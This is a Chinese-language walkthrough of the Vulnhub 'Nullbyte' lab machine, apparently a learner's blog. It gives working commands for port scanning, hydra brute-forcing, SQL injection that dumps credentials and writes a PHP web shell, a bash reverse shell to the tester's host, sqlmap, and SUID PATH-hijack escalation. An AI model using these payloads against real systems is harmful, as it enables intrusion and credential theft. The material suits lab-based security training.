Vulnhub-Nullbyte

0x00 Introduction

这个靶场涉及的知识点很多,值得一练。

0x01 端口扫描

首先对所有端口进行 TCP 扫描:

sudo nmap -sT --min-rate 10000 -p- 192.168.86.130

接下来对这个四个端口进行详细信息扫描:

sudo nmap -sT -sC -sV -O -p80,111,777,47901 192.168.86.130

除了 80 端口和 777 端口的 ssh 服务之外,其它两个端口不知道是干什么的。按照惯例,先探索 80 端口。

0x02 Web渗透

浏览器访问 http://192.168.86.130 :

查看源代码,这是一张名为 main.gif 的图片。这里学到一个思路,拿到图片之后,先看看是否存在图片隐写。

先把这张图片下载下来:

wget http://192.168.86.130/main.gif

再用 file 命令确定文件类型,发现确实是个 .gif 文件。

使用 Exiftool 查看该文件的元数据:

发现一个奇怪的字符串,不知道是干什么的。

没什么思路就先目录爆破:

sudo gobuster dir -u http://192.168.86.130 --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

依次查看,只有/phpmyadmin可以访问,这是个数据库管理工具:

到这就束手无策了,目前一点有用信息都没有。学习红队笔记思路,kzMb5nVYJw这个字符串除了可能是密码,还可能是一个 web 路径。

访问 http://192.168.86.130/kzMb5nVYJw :

只有一个简单的输入框。查看源代码:

提交方式是 POST,数据将被发送到 index.php 文件进行处理,输入框类型是 password。注释告诉我们这个表单不连接到 mysql 数据库,密码并不复杂。

0x03 密码爆破

那就试试弱口令?尝试了一些简单密码,都失败了。那么就要尝试爆破了。

使用 BurpSuite 的 Intruder 模块成功爆破出密码:

不过大佬建议尽量少用图形化工具,那么就用 kali 自带的 hydra 再爆破一次,多使用几次加深印象。

密码暴力破解工具——九头蛇(hydra)使用详解及实战 - 深空89 - 博客园

hydra 192.168.86.130 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l xxshh -P /usr/share/wordlists/rockyou.txt
# ^PASS^:爆破值
# invalid key:这是表单返回的错误提示字符串。根据该字符串判断当前尝试是否失败。
# -l:指定用户名,但在这里无意义,随便写一个就行
# -P:指定爆破脚本

输入 elite,进入下一个页面:

查看源代码:

数据将被发送到 420search.php 文件进行处理,提交方式是 GET,除此之外没什么有用信息了。

既然是要搜索用户名,那一定和数据库有关系,会不会存在 sql 注入?

0x04 SQL 注入

首先尝试构造闭合,看会不会报错:

由此判断闭合方式是双引号。

构造个万能密码:

" or 1=1 -- -

这里注意注释的方式。以前我习惯用 # 注释,但这仅适用于 MySQL。而--适用于大多数数据库。因为要求--后必须有个空格,所以使用-- -这种格式方便观察加没加空格。

由此判断此处确实存在 sql 注入漏洞。接下来介绍四种 sql 注入方式、

  1. 手工注入

首先确定字段数,order by 3 -- - 不报错,order by 4 -- - 报错,说明有 3 个字段。

接下来使用联合查询爆数据库名,数据库版本和当前登录用户:

-1" union select database(),version(),user() -- -

当前数据库名是 seth,版本高于5.1(存在 information_schema 这个表),当前用户是 root。

获取表名:

-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = "seth" -- -

只有一张名为 users 的表。

获取列名:

-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = "seth" and table_name = "users" -- -

获取用户名及密码:

-1" union select 1, user, pass from users -- -

这组密码 hash-identifier 没识别出来,那么根据经验猜测这是 base64 密码,解密:

echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE" | base64 -d

这串字符再用 hash-identifier 识别一下:

解密 MD5:

至此,得到了一组用户信息,用户名是 ramses,密码是 omega。第一种方法展示完毕。

  1. 写入一句话木马

已知后端语言是 php,一句话木马如下:

<?php system($_GET["shell"]);?>

已知 Web 服务器是 Apache:

那么网站根目录就是 /var/www/html,目录爆破爆破的时候扫出了上传文件夹名称是 uploads,这个文件夹是一定有写入权限的。接下来就可以写入一句话木马了:

" union select "<?php system($_GET['shell']);?>","","" into outfile "/var/www/html/uploads/sh.php"; -- -
# 注意引号嵌套问题

实战中如果写入不成功的话,那么就是数据库 secure_file_priv 参数设置的问题。如果这个参数为空,那么这个变量没有效果;如果这个参数设为一个目录名,那么 MySQL 服务只允许在这个目录中执行文件的导入和导出操作。如果这个参数为NULL,MySQL服务会禁止导入和导出操作。

通过 shell 参数执行 ls 命令试试:

http://192.168.86.130/uploads/sh.php?shell=ls

后门上传成功:

秉承着少用图形化工具的原则,还是用命令行操作。查看 /kzMb5nVYJw/420search.php文件:

curl http://192.168.86.130/uploads/shell.php?shell=cat%20/var/www/html/kzMb5nVYJw/420search.php
# 注意空格用 url 编码 %20

得到了数据库的用户名及密码:

现在就可以登录 phpmyadmin 了,获取用户名密码:

  1. 写入反弹 shell

既然可以写入一句话木马,那么也可以写入反弹 shell 语句:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.128/888 0>&1'");?>
//bash -c 启动一个 Bash 进程

同样写入 uploads 目录,这次文件名指定为 reverse.php:

" union select "<?php exec(\"/bin/bash -c 'bash -i >%26 /dev/tcp/192.168.86.128/888 0>%261'\"); ?>","","" into outfile "/var/www/html/uploads/reverse.php"; -- -
# 注意转义
# 优先使用双引号包裹外层字符串
# 这里 & 需要 url 编码

这里卡了挺长时间,最后还是求助了,知道原来是&被转义了。以后再遇到这种复杂命令,最好用 base64 编码后写入:

" union select "<?base64_decode(cGhwIGV4ZWMoYmFzZTY0X2RlY29kZSgnWldOb2J5QW5TR1ZzYkc4Z2QyOXliR1FuT3c9PScpKQo=);?>","","" into outfile "/var/www/html/uploads/reverse.php" -- -

本机开放 888 监听端口:

nc -lvp 888

访问 http://192.168.86.130/uploads/reverse.php ,即可触发反弹 shell:

查看 420search.php 即可找到数据库用户名及密码。

  1. SQLmap
sudo sqlmap -u 'http://192.168.86.130/kzMb5nVYJw/420search.php?usrtosearch=' --dump

0x05 ssh登录及SUID提权

用户名是 ramses,密码是 omega,接下来就可以 ssh 登录了。

注意靶机的 ssh 服务不是在默认的 22 端口,而是 777 端口:

ssh ramses@192.168.86.130 -p 777

接下来就是查看该用户的权限。

查看 sudo 权限:

sudo -l

没有 sudo 权限,定时任务也没有操作空间。

这里又学到一个思路,输入 history 查看历史记录。

发现一个陌生的命令:

这个命令是在 /var/www/backup/ 目录下,进入该目录,ls-l 查看文件权限:

发现 procwatch 的权限有 s 位,也就是有 SUID 权限。

接下来的思路就类似于之前做过的 HTB-Oopsie 了。

执行 procwatch :

发现他执行了 shps 命令。

我们可以构造其中任意一个命令,添加到环境变量中。

ps 为例,在当前的 backup 文件夹创建一个 ps 文件,内容是 /bin/bash:

echo "/bin/bash" > ps

ps 添加可执行权限:

chmod 777 ps

并将/backup添加到环境变量:

export PATH=/var/www/backup:$PATH

Shell 会按照 PATH 中的路径顺序,依次在这些目录中搜索名为 ps 的可执行文件。找到后立即执行,不再继续查找。

再次执行 procwatch,逻辑是没错的,但是提权失败了:

还是经过求助,发现换成 sh 就可以了:

除了创建文件之外,还有一种稍微简单的方法,建立软连接:

ln -s /bin/sh ps

然后再添加环境变量,也是一样的。

切换到 root 身份后,发现 sh 和 bash 权限是一样的。

大佬说是bash被限制了。执行 bash 后权限降低了:

0x06 Conclusion

这个靶场属实是困住我太长时间了,过程中遇到很多问题,最后都是经过求助才解决的。虽然花了很长时间,不过以后再遇到类似情况,也知道如何排查问题了。过程中,操作更熟练了,理解得也更深了,就是要有越挫越勇的态度!